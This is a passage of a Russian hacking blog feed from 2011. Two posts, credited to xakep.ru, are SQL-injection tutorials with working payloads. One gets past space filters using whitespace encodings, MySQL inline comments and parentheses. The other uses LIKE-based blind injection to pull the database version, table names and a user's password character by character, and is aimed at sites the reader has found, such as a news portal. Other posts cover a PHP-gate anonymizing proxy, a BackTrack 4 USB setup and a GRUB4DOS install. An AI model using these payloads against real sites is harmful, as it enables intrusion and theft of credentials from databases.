scheme="http://www.blogger.com/atom/ns#" term="SQL-injection"/><title type='text'>Обход фильтрации пробелов в SQL-injection</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEit8LLh-ZQIDc8-XBieUYeZZXocEiN8MQDIUoWMEHyZqKBTV4XR9A8rHzEgNYRRv4Hm7HA3UDpG7UraptujNH7qT4RcfuxFvXirKixGNgLqB1GZzfrVy8T6YvOD23-OJSlZ65ApvD-0kZ8/s1600/probel.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEit8LLh-ZQIDc8-XBieUYeZZXocEiN8MQDIUoWMEHyZqKBTV4XR9A8rHzEgNYRRv4Hm7HA3UDpG7UraptujNH7qT4RcfuxFvXirKixGNgLqB1GZzfrVy8T6YvOD23-OJSlZ65ApvD-0kZ8/s1600/probel.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;b&gt;Задача: Обойти фильтрацию пробелов в SQL-injection&lt;br /&gt;
Решение&lt;/b&gt;&lt;br /&gt;
&lt;b&gt; &lt;/b&gt;В прошлом номере я уже рассказал, как можно обойти  фильтрацию запятых, но подобная фильтрация встречается крайне редко,  совсем другой случай – фильтрация пробелов. Скажем, ты нашел инъекцию на  крупном новостном портале, но никак не можешь ее раскрутить, так как  все известные тебе варианты пробелов не работают. Давай рассмотрим такой  код&lt;br /&gt;
&lt;blockquote style=&quot;color: olive;&quot;&gt;&amp;lt;?php&lt;br /&gt;
if(isset($_GET[&#39;id&#39;]) &amp;amp;&amp;amp; $_GET[&#39;id&#39;]!=»){&lt;br /&gt;
if(strstr($_GET[&#39;id&#39;],» «) {die «HACK ALERT»};&lt;br /&gt;
if(strstr($_GET[&#39;id&#39;],»/**/») {die «HACK ALERT»};&lt;br /&gt;
if(strstr($_GET[&#39;id&#39;],»+») {die «HACK ALERT»};&lt;br /&gt;
if(strstr($_GET[&#39;id&#39;],»%20″) {die «HACK ALERT»};&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;/blockquote&gt;здесь какие-то запросы с использованием переменной $_GET[&#39;id&#39;]&lt;br /&gt;
Как мы видим, при использовании пробелов » «, /**/, + и %20 скрипт  прекращает свою работу. На самом деле существует как минимум два способа  обхода такого скрипта, первый – использование различных пробельных  символов, второй – использование логики SQL запросов, в частности их  реализации в MySQL.&lt;br /&gt;
1. Итак, первый способ. Помимо самого пробела существует множество  различных пробельных символов, табуляция, возврат каретки и так далее.  Вот их полный (а может и нет) список:&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;&lt;b style=&quot;color: #93c47d;&quot;&gt;%09&lt;/b&gt; – horizontal tab, горизонтальная табуляция&lt;/li&gt;
&lt;/ul&gt;&lt;ul&gt;&lt;li&gt; &lt;b style=&quot;color: #93c47d;&quot;&gt;%0A&lt;/b&gt; – NL line feed, символ новой строки&lt;/li&gt;
&lt;/ul&gt;&lt;ul&gt;&lt;li&gt; &lt;b style=&quot;color: #93c47d;&quot;&gt;%0B&lt;/b&gt; – vertical tab, вертикальная табуляция&lt;/li&gt;
&lt;/ul&gt;&lt;ul&gt;&lt;li&gt; &lt;b style=&quot;color: #93c47d;&quot;&gt;%0C&lt;/b&gt; – NP form feed, символ новой страницы&lt;/li&gt;
&lt;/ul&gt;&lt;ul&gt;&lt;li&gt; &lt;b style=&quot;color: #93c47d;&quot;&gt;%0D&lt;/b&gt; – carriage return, возврат каретки&lt;/li&gt;
&lt;/ul&gt;Все эти символы будут рассматриваться как пробельные. Пример запроса:&lt;br /&gt;
&lt;span style=&quot;color: olive;&quot;&gt;id=-1%0Aunion%0Aselect%0A1&lt;/span&gt;&lt;br /&gt;
C этим, я думаю, все понятно, перейдем ко второму варианту:&lt;br /&gt;
2. В MySQL есть возможность выполнять SQL-код в блоке комментариев, выглядит это примерно так:&lt;br /&gt;
&lt;div style=&quot;color: olive;&quot;&gt;select id/*!,title*/ from news&lt;/div&gt;В данном случае из таблицы news будут выведены поля id и title. Теперь посмотрим, как это реализовать в боевых условиях:&lt;br /&gt;
&lt;div style=&quot;color: olive;&quot;&gt;id=-1/*!union*/select/*!version()*/&lt;/div&gt;Но бывает и такое, что фильтруются символы слэша. Тогда можно  использовать способ, основанный на использовании скобок в запросе. Вот  пример для обхода вышеизложенного скрипта:&lt;br /&gt;
&lt;div style=&quot;color: olive;&quot;&gt;id=(-1)union(select(version()))&lt;/div&gt;(c)xakep.ru&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://n0t3pad.blogspot.com/feeds/2763303957363297641/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://n0t3pad.blogspot.com/2011/02/sql-injection.html#comment-form' title='Комментарии: 1'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1303973132304848770/posts/default/2763303957363297641'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1303973132304848770/posts/default/2763303957363297641'/><link rel='alternate' type='text/html' href='http://n0t3pad.blogspot.com/2011/02/sql-injection.html' title='Обход фильтрации пробелов в SQL-injection'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEit8LLh-ZQIDc8-XBieUYeZZXocEiN8MQDIUoWMEHyZqKBTV4XR9A8rHzEgNYRRv4Hm7HA3UDpG7UraptujNH7qT4RcfuxFvXirKixGNgLqB1GZzfrVy8T6YvOD23-OJSlZ65ApvD-0kZ8/s72-c/probel.jpg" height="72" width="72"/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1303973132304848770.post-860254587847093901</id><published>2011-02-17T04:18:00.000-08:00</published><updated>2011-08-04T03:12:42.205-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="SQL-injection"/><title type='text'>Обход фильтрации символов запятой при проведении SQL-Injection</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;&lt;b&gt;Задача: Обойти фильтрацию символов запятой при проведении SQL-Injection&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;Решение:&lt;/b&gt;&lt;br /&gt;
Задача не банальная. Хоть и встречается редко, но, как правило, ставит в тупик многих людей. Допустим, мы имеем такой код:&lt;br /&gt;
&lt;span style=&quot;color: olive;&quot;&gt;&amp;lt;?php&lt;br /&gt;
if(isset($_GET[&#39;id&#39;]) &amp;amp;&amp;amp; $_GET[&#39;id&#39;]!=»){&lt;br /&gt;
$replaced = preg_replace(/,/,»,$_GET);&lt;/span&gt;&lt;br /&gt;
….&lt;br /&gt;
здесь какие-то запросы с использованием переменной $replaced&lt;br /&gt;
К чему же мы приходим? Невозможно использовать конструкцию union  select, если в запросе участвует больше 2-х полей. ОК, крутим как  слепую, скажешь ты. Но в данном случае большинство известных способов,  таких как использование функций substring(), mid(), ExtractValue(), а  также последние наработки Qwazar’a в области раскрутки слепых инъекций  работать не будут. Что же делать? Будем использовать логику  SQL-выражений, и здесь поможет нам LIKE.&lt;br /&gt;
Для начала узнаем версию:&lt;br /&gt;
&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&amp;nbsp;&lt;span style=&quot;color: olive;&quot;&gt;id=1 and version() like ’4%’–&lt;/span&gt;&lt;br /&gt;
Если запрос не удался, значит, версия отличная от 4*. Пробуем по-другому:&lt;br /&gt;
&lt;span style=&quot;color: olive;&quot;&gt;id=1 and version() like ’5%’–&lt;/span&gt;&lt;br /&gt;
ОК, запрос такой же, как и при&lt;br /&gt;
&lt;span style=&quot;color: olive;&quot;&gt;id=1 and 1=1–&lt;/span&gt;&lt;br /&gt;
А это значит, что первый символ версии мы подобрали успешно. Я думаю, ты понял, что делать дальше, но я все же покажу.&lt;br /&gt;
Узнаем названия таблиц в information_schema.tables; желательно знать  примерное название колонки, если нас интересует таблица с юзерами, я  делаю обычно так:&lt;br /&gt;
&lt;span style=&quot;color: olive;&quot;&gt;id=1 and (select 1 from information_schema.columns where column_name like ‘%pass%’ and table_name like ‘u%’)–&lt;/span&gt;&lt;br /&gt;
В данной конструкции ‘%pass%’ остается неизменным, а подбираем мы  именно table_name. Если первый запрос прошел удачно, тогда пробуем  подобрать второй из символов:&lt;br /&gt;
&lt;span style=&quot;color: olive;&quot;&gt;id=1 and (select 1 from information_schema.columns where column_name like ‘%pass%’ and table_name like ‘us%’)–&lt;/span&gt;&lt;br /&gt;
И так далее. Предположим, мы получили имя таблицы users и колонки  username, password,id. Составим запрос на получение пароля из базы&lt;br /&gt;
&lt;span style=&quot;color: olive;&quot;&gt;id=1 and (select 1 from users where id=1 and password like ‘q%’)–&lt;/span&gt;&lt;br /&gt;
Подбирается по образу и подобию предыдущих запросов. Символ % в  конструкции LIKE говорит о том, что после ‘q’ находится 1 и более любых  символов.&lt;br /&gt;
(c)xakep.ru&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://n0t3pad.blogspot.com/feeds/860254587847093901/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://n0t3pad.blogspot.com/2011/02/sql-injection_17.html#comment-form' title='Комментарии: 0'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1303973132304848770/posts/default/860254587847093901'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1303973132304848770/posts/default/860254587847093901'/><link rel='alternate' type='text/html' href='http://n0t3pad.blogspot.com/2011/02/sql-injection_17.html' title='Обход фильтрации символов запятой при проведении SQL-Injection'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1303973132304848770.post-4281670666097605631</id><published>2011-02-17T04:01:00.000-08:00</published><updated>2011-08-04T03:08:20.631-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="анонимность"/><title type='text'>Собственный анонимайзер</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhyD8ADN3_d9YyCED8gtndGsktpPt1paWMQWSeCFFvDKKqPjcnn8NOMCQ1R4NnJLjd_VGLw4KIck7-UPPRY69dO_b3UrJdMhScPmA8dSVX_OZrs_OlNJQ39pZtqCzDYPs6z0zy792XhBks/s1600/anonimaizer.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;177&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhyD8ADN3_d9YyCED8gtndGsktpPt1paWMQWSeCFFvDKKqPjcnn8NOMCQ1R4NnJLjd_VGLw4KIck7-UPPRY69dO_b3UrJdMhScPmA8dSVX_OZrs_OlNJQ39pZtqCzDYPs6z0zy792XhBks/s320/anonimaizer.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;b&gt;&lt;a href=&quot;http://depositfiles.com/files/3nnakhagi&quot;&gt;HTTP Local Proxy&lt;/a&gt;&lt;/b&gt;–это анонимайзер&amp;nbsp; работающий через  php гейт(ы), пригодиться тем кто хочет скрыть свой IP но не имеет  доступа к прокси/сокс серверам. Сам процесс выбор нужного IP адреса  сводиться к выбору хостинга.  Что делать? Заливаем на сервер обычный php  скрипт, запускаем у себя на тачке клиента, настраиваем адрес прокси в  браузере и работаем.  Как работает? При запуске клиент загружает из  файла адреса наших скриптов, и работает как прокси. Мы отправляем инфу  клиенту, он скрипту, скрипт получает то что мы хотеле и отправляет ответ  клиенту а он нам)  В архиве 3 файла &lt;b&gt;gate.php, host.txt, proxy.exe &lt;/b&gt;&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;br /&gt;
&lt;ol&gt;&lt;li&gt;файл gate.php заливаем на хосты, обязательно с разрешенными сокетами (бесплатные не катят)&lt;/li&gt;
&lt;li&gt;в файл host.txt прописываем адреса залитого нами файла, каждый с новой строки. например: &lt;pre class=&quot;code&quot; style=&quot;font-family: monospace;&quot;&gt;&lt;span style=&quot;color: olive;&quot;&gt;site.org/gate.php
site2.ru/dir/gate.php
somesite.org/newname.php&lt;/span&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;Запускаем proxy.exe по умолчанию он запусваеться на  порту 8080 и  загружает список из файла host.txt , это можно изменить  запустив  бинарник с параметрами.&lt;br /&gt;
proxy.exe  [порт [имя_файла_с_хостами]]&lt;/li&gt;
&lt;li&gt;в браузере прописываем адрес HTTP прокси 127.0.0.1 и порт на котором он запущен&lt;/li&gt;
&lt;/ol&gt;Работаем)&lt;br /&gt;
Есле в файле host.txt более одного адреса, то proxy будет автоматически менять их (соответсвенно ваш ip тоже будет меняться)&lt;br /&gt;
Есле нужно работать с одного ip то в файл host.txt оставляем один адрес.&lt;br /&gt;
Скорость в первую очередь зависит от самого хоста, и особо большой не будт.&lt;br /&gt;
Также через такой прокси не получеться скачаивать/передовать большие файлы.&lt;br /&gt;
Скачать &lt;a href=&quot;http://depositfiles.com/files/3nnakhagi&quot;&gt;HTTP Local Proxy&lt;/a&gt; &lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://n0t3pad.blogspot.com/feeds/4281670666097605631/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://n0t3pad.blogspot.com/2011/02/blog-post_9777.html#comment-form' title='Комментарии: 0'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1303973132304848770/posts/default/4281670666097605631'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1303973132304848770/posts/default/4281670666097605631'/><link rel='alternate' type='text/html' href='http://n0t3pad.blogspot.com/2011/02/blog-post_9777.html' title='Собственный анонимайзер'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhyD8ADN3_d9YyCED8gtndGsktpPt1paWMQWSeCFFvDKKqPjcnn8NOMCQ1R4NnJLjd_VGLw4KIck7-UPPRY69dO_b3UrJdMhScPmA8dSVX_OZrs_OlNJQ39pZtqCzDYPs6z0zy792XhBks/s72-c/anonimaizer.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1303973132304848770.post-1852923488659229723</id><published>2011-02-17T03:49:00.000-08:00</published><updated>2011-08-04T03:07:31.539-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="BackTrack 4"/><category scheme="http://www.blogger.com/atom/ns#" term="GRUB4DOS"/><title type='text'>Установка и сохранение BackTrack 4 на USB</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh1CRzi6p1_S6O2Ef5aTndvKmIrnXRkz9ZmUg7dbpz8b1Nzg1gqOh6Xua8KoQ_2EM7PjSot5LW2aa6gZlg3thp_xNGPvpHJDS3OPhmsHSJond5-eiREOb9NbZ_29lq_7TnrYfUgNbmOSxY/s1600/backtrack4.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;189&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh1CRzi6p1_S6O2Ef5aTndvKmIrnXRkz9ZmUg7dbpz8b1Nzg1gqOh6Xua8KoQ_2EM7PjSot5LW2aa6gZlg3thp_xNGPvpHJDS3OPhmsHSJond5-eiREOb9NbZ_29lq_7TnrYfUgNbmOSxY/s400/backtrack4.jpg&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;Первым делом форматируем флешку, закидуем на нее &lt;a href=&quot;http://depositfiles.com/ru/files/ztbxxfmkz&quot;&gt;Grub4Dos&lt;/a&gt; – программу для заргрузки с флешки. О том как устанавливать Grub4Dos читаем &lt;a href=&quot;http://n0t3pad.blogspot.com/2011/02/grub4dos-ver2.html&quot;&gt;тут&lt;/a&gt;&lt;br /&gt;
после открываем образ BT4 программой Ultra ISO копируем содержимое в корень флешки.&lt;br /&gt;
открываем файл &lt;b&gt;MENU.lst&lt;/b&gt; в любом текстовом редакторе  и добавляете&amp;nbsp; следующее:&lt;br /&gt;
&lt;span style=&quot;color: green;&quot;&gt;title BackTrack4&lt;br /&gt;
kernel /boot/vmlinuz BOOT=casper boot=casper nopersistent rw quiet vga=0×317&lt;br /&gt;
initrd /boot/initrd.gz&lt;/span&gt;&lt;br /&gt;
сохраняете все это дело и перезагружаете компьютер, флешку не вытаскивайте!&lt;br /&gt;
Существует 2 вида выбора загрузки:&lt;br /&gt;
&lt;ol&gt;&lt;li&gt; Перед загрузкой жмете клавишу F12 (выбор устройств с которых будет произведена загрузка)&lt;br /&gt;
ищите свою флешку и жмете ENTER&lt;/li&gt;
&lt;li&gt;Перед загрузкой жмакаете на клавишу Delete (загрузка BIOS) выставляете загрузку с флешки, сохраняете настройки и перезагружайте.&lt;a name=&#39;more&#39;&gt;&lt;/a&gt; &lt;/li&gt;
&lt;/ol&gt;после загрузки меню Grub4Dos, выбераете пункт BackTrack4&lt;br /&gt;
после загрузки консоли, можно для удобства запустить графическую рабочею среду&lt;br /&gt;
командой &lt;span style=&quot;color: green;&quot;&gt;&lt;b&gt;startx&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
в ней же открываем консоль&lt;br /&gt;
смотрим где находиться флеха  &lt;span style=&quot;color: green;&quot;&gt;&lt;b&gt;mount | grep sd&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
монтируем&lt;br /&gt;
&lt;span style=&quot;color: green;&quot;&gt;mount /media/cdrom0 -o remount,rw&lt;br /&gt;
cd /media/cdrom0&lt;br /&gt;
dd if=/dev/zero of=casper-rw bs=1M count=РАЗМЕР_ФАЙЛА_В_МЕГАБАЙТАХ&lt;br /&gt;
mkfs.ext3 casper-rw&lt;/span&gt; # На вопрос ответьте: y&lt;br /&gt;
&lt;b&gt;РАЗМЕР_ФАЙЛА_В_МЕГАБАЙТАХ&lt;/b&gt; –  размер файла в котором будет сохраняться все изменения  BT4&lt;br /&gt;
теперь перезагружаем комп, грузим винду, открываем флеху и правим файл &lt;b&gt;MENU.lst&lt;/b&gt;&lt;br /&gt;
&lt;span style=&quot;color: green;&quot;&gt;title BackTrack4&lt;br /&gt;
kernel /boot/vmlinuz BOOT=casper boot=casper persistent rw quiet vga=0×317&lt;br /&gt;
initrd /boot/initrd.gz&lt;/span&gt;&lt;br /&gt;
P.S. При желании можно изменить размер сохраняевомого файла слелующим способом&lt;br /&gt;
(Опять перемонтировать флешку в rw и перейти в каталог точки монтирования)&lt;br /&gt;
&lt;span style=&quot;color: green;&quot;&gt;dd if=/dev/zero bs=1M count=НАСКОЛЬКО_УВЕЛИЧИТЬ_В_МЕГАБАЙТАХ &amp;gt;&amp;gt; casper-rw&lt;br /&gt;
resize2fs casper-rw&lt;/span&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://n0t3pad.blogspot.com/feeds/1852923488659229723/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://n0t3pad.blogspot.com/2011/02/backtrack-4-usb.html#comment-form' title='Комментарии: 4'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1303973132304848770/posts/default/1852923488659229723'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1303973132304848770/posts/default/1852923488659229723'/><link rel='alternate' type='text/html' href='http://n0t3pad.blogspot.com/2011/02/backtrack-4-usb.html' title='Установка и сохранение BackTrack 4 на USB'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh1CRzi6p1_S6O2Ef5aTndvKmIrnXRkz9ZmUg7dbpz8b1Nzg1gqOh6Xua8KoQ_2EM7PjSot5LW2aa6gZlg3thp_xNGPvpHJDS3OPhmsHSJond5-eiREOb9NbZ_29lq_7TnrYfUgNbmOSxY/s72-c/backtrack4.jpg" height="72" width="72"/><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1303973132304848770.post-8819911368392656148</id><published>2011-02-16T13:27:00.000-08:00</published><updated>2011-08-04T03:05:14.121-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="GRUB4DOS"/><title type='text'>Инсталляция загрузчика GRUB4DOS с Русским меню Ver.2</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div align=&quot;center&quot;&gt;&lt;br /&gt;
&lt;/div&gt;1. Перед началом операции флешку рекомендуется отформатировать программой &lt;a href=&quot;http://greenflash.su/Files/HPUSBFW.rar&quot;&gt;HPUSBFW&lt;/a&gt; (369Кб), предварительно сохранив с неё всё необходимое (если есть)&lt;br /&gt;
2. Скачиваем этот файл: &lt;a href=&quot;http://depositfiles.com/ru/files/ztbxxfmkz&quot;&gt;GRUB4DOS_RUS_v.2&lt;/a&gt;&lt;br /&gt;
3. Запускаем его. После запуска выбираем (кнопкой Обзор) цель, то есть то устройство на которое будем устанавливать Загрузчик.&lt;br /&gt;
Это либо Жёсткий диск, либо Флешка.&lt;br /&gt;
Если собираемся ставить на Флешку, значит выбираем корень флешки Х:\&lt;br /&gt;
(Х – Буква вашей флешки)&lt;br /&gt;
Если собираемся ставить на Жёсткий диск, значит выбираем корень диска C:\ (или на какой вы хотите, главное чтоб был Активным)&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZE3YeqbdCwdz0EaaH7qz9C1PVGQ2SuJ94PyXeIyBhym_cXzkviEl7mt8fIa4qsTcUx3qcrEDowncC_MhtkGRLcBxaT3gy3XL0z_xmI8itfP1vRl6SZkyJx7KW9v6ZUL9z6KnYIjypB5o/s1600/grub4dos_rus_usb_1.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;292&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZE3YeqbdCwdz0EaaH7qz9C1PVGQ2SuJ94PyXeIyBhym_cXzkviEl7mt8fIa4qsTcUx3qcrEDowncC_MhtkGRLcBxaT3gy3XL0z_xmI8itfP1vRl6SZkyJx7KW9v6ZUL9z6KnYIjypB5o/s400/grub4dos_rus_usb_1.jpg&quot; width=&quot;400&quot; /&gt;&amp;nbsp;&lt;/a&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div align=&quot;left&quot; class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;/div&gt;&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
4. Нажимаем кнопку «Извлечь». После этого программа Grub4Dos Installer 1.1 установится к вам в C:\Program Files и выбросит ярлык на Рабочий Стол. Одновременно с этим на выбранный вами носитель распакуются файлы загрузчика (Папка – Boot; Файлы – grldr, MEMDISK, MENU.LST) и откроется окно программы Grub4Dos Installer 1.1.&lt;br /&gt;
&lt;br /&gt;
5. В окне программы Grub4Dos Installer 1.1, в самой верхней строчке (выпадающем меню), выбираем цель для установки загрузчика&lt;br /&gt;
(HDD или Флешка) Больше ничего выбирать не надо.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg4GihmwJIyCBy9tCCI5uqdoYePt1d5tYFSMihdL6iPIU7CbH26F_vr6S9hA8ijyVktmuVErugocffX0fmUdnFn4vtu7pW2UFGvR-pxYozAvTJk1flXgiwygqdX5aCj3PreFgQqR4iR1IQ/s1600/grub4dos_rus_usb_2.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;400&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg4GihmwJIyCBy9tCCI5uqdoYePt1d5tYFSMihdL6iPIU7CbH26F_vr6S9hA8ijyVktmuVErugocffX0fmUdnFn4vtu7pW2UFGvR-pxYozAvTJk1flXgiwygqdX5aCj3PreFgQqR4iR1IQ/s400/grub4dos_rus_usb_2.jpg&quot; width=&quot;251&quot; /&gt;&amp;nbsp;&lt;/a&gt;&lt;/div&gt;&lt;div align=&quot;left&quot; class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div align=&quot;left&quot;&gt;&lt;br /&gt;
6. Нажимаем кнопку Install.&lt;br /&gt;
7.Если всё успешно, то вы увидите окно консоли с предложением нажать Enter, Нажимаем Enter.&lt;/div&gt;&lt;div align=&quot;left&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhAUanoJVPc3GjyP7rHQRU7IWgvGQZzSUj3JkIVy4NJrsby-NzMc6vweuPmllrUMTLlbI1TVTab4GfJzZ-4qdufWJW3YOL6pmMCFoyd0pMzUU_6iqPTSRfO8m_-gxyFMKrxc79bQhAFGiM/s1600/grub4dos_rus_usb_3.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;186&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhAUanoJVPc3GjyP7rHQRU7IWgvGQZzSUj3JkIVy4NJrsby-NzMc6vweuPmllrUMTLlbI1TVTab4GfJzZ-4qdufWJW3YOL6pmMCFoyd0pMzUU_6iqPTSRfO8m_-gxyFMKrxc79bQhAFGiM/s400/grub4dos_rus_usb_3.jpg&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div align=&quot;center&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div align=&quot;left&quot;&gt;&lt;br /&gt;
&lt;span style=&quot;color: red;&quot;&gt;Предостережение!&lt;/span&gt; Если вы собрались установить Загрузчик на свой Жёсткий диск, вам желательно сначала получить опыт работы с Загрузчиком GRUB4DOS, знать как редактируется файл Menu.lst и.т.д.. Почитать об этом можно &lt;a href=&quot;http://www.citforum.ru/operating_systems/linux/GRUB/&quot;&gt;здесь&lt;/a&gt; и &lt;a href=&quot;http://www.inode.ru/articles/admin/2004-09-24/123&quot;&gt;здесь&lt;/a&gt;.&lt;br /&gt;
В конфигурационном файле Menu.lst по умолчанию прописаны пункты меню для загрузки с первого раздела, первого жёсткого диска, если ваша ОС установлена в другом месте, и вы установите Загрузчик по этой инструкции не зная как загрузить ОС из другого раздела – вы сталкнётесь с трудностями.&lt;br /&gt;
Так что если вы не уверены, не стоит первым делом устанавливать GRUB4DOS на жёсткий диск&lt;/div&gt;&lt;div align=&quot;left&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://n0t3pad.blogspot.com/feeds/8819911368392656148/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://n0t3pad.blogspot.com/2011/02/grub4dos-ver2.html#comment-form' title='Комментарии: 1'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1303973132304848770/posts/default/8819911368392656148'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1303973132304848770/posts/default/8819911368392656148'/><link rel='alternate' type='text/html' href='http://n0t3pad.blogspot.com/2011/02/grub4dos-ver2.html' title='Инсталляция загрузчика GRUB4DOS с Русским меню Ver.2'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' 